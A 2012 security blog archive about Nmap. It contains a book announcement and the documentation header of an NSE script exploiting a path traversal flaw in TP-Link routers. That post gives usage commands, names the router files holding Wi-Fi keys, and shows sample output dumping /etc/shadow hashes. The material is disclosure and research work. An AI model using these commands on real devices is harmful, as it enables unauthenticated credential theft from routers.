Nmap

The evolution of Nmap

by calderpwn on Mon, Oct 15 2012 08:15:00

I've been always fond of graphical data representation and Luis Martín Garcia shared something very cool today with the Nmap-development mailing list; the evolution of Nmap's source code.

Posted in Nmap | Leave a comment

'Nmap 6: Network Exploration and Security Auditing Cookbook' is on pre-sale now!

by calderpwn on Thu, Sep 13 2012 16:38:00

I'm very pleased to inform you that "Nmap 6: Network Exploration and Security Auditing Cookbook" is on pre-sale now.

About the book

This book is for any security consultant, administrator or enthusiast looking to learn how to use and master Nmap and the Nmap Scripting Engine. It is divided in practical tasks or "recipes" with full code explanations, specific Nmap commands and images to illustrate the topics.

What will you learn from the recipes covered?

Nmap's functionality is vast. The following topics are covered in over 120 practical tasks included in this book:

  • Nmap basics
  • Host discovery techniques
  • Information gathering tasks for pentesters
  • Performing security checks to web, database and mail servers
  • Implementing a host monitoring system with Nmap, Ndiff and Bash scripting
  • Distributing Nmap scans among several clients
  • Collecting HTTP header information
  • Tuning scans
  • Generating reports
  • Writing your own scripts

For more recipes, visit the full table of content of 'Nmap 6: Network Exploration and Security Auditing'.

Pre-order your copy now!

PacktPub: Nmap 6: Network Exploration and Security Auditing Cookbook

 

PacktPub Open Source royalties

I thought I should let you know that PacktPub offers a porcentage of the sales back to the open source projects such as Nmap. That means that by buying the digital or printed version of this book you also help the Nmap project!

Acknowledgments

A lot of work is behind this publication and I would like to thank those people who deserve credit for their hard work ( I owe you a beer) :

  • Fyodor: Thank you for guiding me through Google's Summer of Code. It was a great learning experience and no one of this would have happened without you.
  • David Fifield: Thank you for all the help and sharing your expertise with me.
  • Patrik Karlsson: Many of the scripts and libraries shown in this book were written by you. Keep up the awesome work!
  • Tom Sellers: Thank you for your support and help with testing things!
  • Patrick Donnelly: Thank you for all the help with Lua.
  • Djalal Harouni: Thank you for helping me with the Exim vulnerability
  • Vlatko Kosturjak: Thank you for porting Nmap to Android!
  • Henry Doreau: Thank you for all the hard work you've put into Nmap.
  • Ange Gutek: Thank you for all the help with http-slowloris!
  • Marc Ruef: Thank you for helping me with vulscan!
  • Ron Bowes: Thank you for all your help
  • Daniel Miller: Thank you for all your great contributions to Nmap!
  • El draco: Thank you for sharing your knowledge of distributed scanning and letting me use Dnmap's official diagrams!
  • Carlos Ayala: Thank you for your time while reviewing this book and sharing your IPS/IDS/FW expertise with me.
  • Pedro Joaquín & Roberto Salgado: Thank you for all the extra work you had to put at Websec to cover me while I worked on this
  • Renata Gomez: For sending the cover image of this book!
  • Nmap community: Thank you to all of you from bug reporters to contributors. You all help Nmap be an excellent and very active open source project
  • Packtpub: Thank you for the opportunity!
Posted in Nmap, Announcements | 3 Comments

Pwning a TP-LINK WR740N with Nmap

by calderpwn on Tue, Sep 04 2012 15:03:00

This is a demo I showed a few days ago where we use a path traversal vulnerability to obtain the credentials of a hidden web shell in devices TP-LINK WR740N.

Posted in Nmap | Leave a comment

http-tplink-dir-traversal

by Paulino Calderon on Tue, Jul 10 2012 05:18:00

I wrote a NSE script to exploit a path traversal vulnerability in several TP-Link access points.

description = [[
Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciate
any help confirming the vulnerability in other models.
Advisory:
* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
Other interesting files:
* /tmp/topology.cnf (Wireless configuration)
* /tmp/ath0.ap_bss (Wireless encryption key)
]]
---
-- @usage nmap -p80 --script http-tplink-dir-traversal.nse <target>
-- @usage nmap -p80 -Pn -n --script http-tplink-dir-traversal.nse <target>
-- @usage nmap -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-tplink-dir-traversal:
-- | VULNERABLE:
-- | Path traversal vulnerability in several TP-Link wireless routers
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- | This vulnerability can be exploited remotely and without authenticatication.
-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- | Disclosure date: 2012-06-18
-- | Extra information:
-- | /etc/shadow :
-- |
-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | bin::10933:0:99999:7:::
-- | daemon::10933:0:99999:7:::
-- | adm::10933:0:99999:7:::
-- | lp:*:10933:0:99999:7:::
-- | sync:*:10933:0:99999:7:::
-- | shutdown:*:10933:0:99999:7:::
-- | halt:*:10933:0:99999:7:::
-- | uucp:*:10933:0:99999:7:::
-- | operator:*:10933:0:99999:7:::
-- | nobody::10933:0:99999:7:::
-- | ap71::10933:0:99999:7:::
-- |
-- | References:
-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
--
-- @args http-tplink-dir-traversal.rfile Remote file to download. Default: /etc/passwd
-- @args http-tplink-dir-traversal.outfile If set it saves the remote file to this location.

 

Resources 

http-tplink-dir-traversal on Github

dotdotpwn log

Posted in Nmap, Code | 2 Comments

Presentacion de GuadalajaraCON 2012

by Paulino Calderon on Sun, May 06 2012 23:00:00

Este pasado 21 de Abril tuve dí una platica sobre escaneo distribuido en GuadalajaraCON 2012. Hicimos el release de una versión especial para este evento de la herramienta Dnmap. Pueden descargar la presentación y el software desde los siguiente links:

http://www.guadalajaracon.org/wp-content/uploads/2012/04/GuadalajaraCONNmapDistribuidoSlides.pdf

http://guadalajaracon.org/dnmap.tar.gz

Posted in Nmap, Announcements | 18 Comments
1 | 2 | 3